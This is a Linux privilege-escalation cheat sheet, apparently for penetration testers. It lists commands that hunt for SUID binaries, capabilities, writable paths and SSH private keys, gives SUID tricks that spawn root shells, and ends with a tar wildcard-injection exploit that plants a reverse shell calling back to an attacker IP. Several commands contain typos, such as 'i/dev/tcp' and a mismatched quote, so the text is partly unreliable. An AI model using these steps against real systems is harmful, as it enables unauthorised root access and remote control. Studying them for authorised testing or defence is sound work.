Privesc Checklist
sudo -l
Display commands allowed to run with root privileges.
history
Show shell history.
env
Show environment variables.
find / -perm -u=s -type f 2> /dev/null
Search for commands with SUID enabled (then check https://gtfobins.github.io/)
getcap -r / 2>/dev/null
Search for commands with capabilities (then check https://gtfobins.github.io/)
find / -writable 2>/dev/null
Search for writable folders.
find / -name id_rsa 2> /dev/null/
Search for SSH private keys.
cat /etc/crontab
Looking for automated scripts.
Others Suggestions
- Determining the kernel of the machine and search for kernel exploitation (such as Dirtyc0w).
- Misconfigured file and directory permissions.
- pspy (process snooping): https://github.com/DominicBreuker/pspy
- https://redteamrecipe.com/40-Method-For-Privilege-Escalation/
Automated Scripts
LINPEAS
https://github.com/carlospolop/PEASS-ng/releases
./linpeas.sh
TRAITOR
https://github.com/liamg/traitor
traitor
LINEUM
https://github.com/rebootuser/LinEnum
./LinEnum.sh
LYNSIS
lynis audit system --pentest
METASPLOIT
use post/multi/recon/local_exploit_suggester
Check exploits for privilege escalation.
SUID Examples
Resource
CP
cp /root/ /home/myUser/
cd /home/myUser/root
Access root content.
LESS
less /etc/hosts
!/bin/sh
Get a root shell.
BASH
bash -p
Get a root shell.
Wildcard Exploitation
Resource
https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/
Example
Script running as root:
tar cf /home/myUser/backups/backup.tgz *
Exploit:
echo "bash -i >& i/dev/tcp/[ATTACKER IP]/[ATTACKER PORT] 0>&1" > revshell.sh
touch "/home/myUser/backups/--checkpoint-action=exec=sh revshell.sh"
touch "/home/myUser/"--checkpoint=1"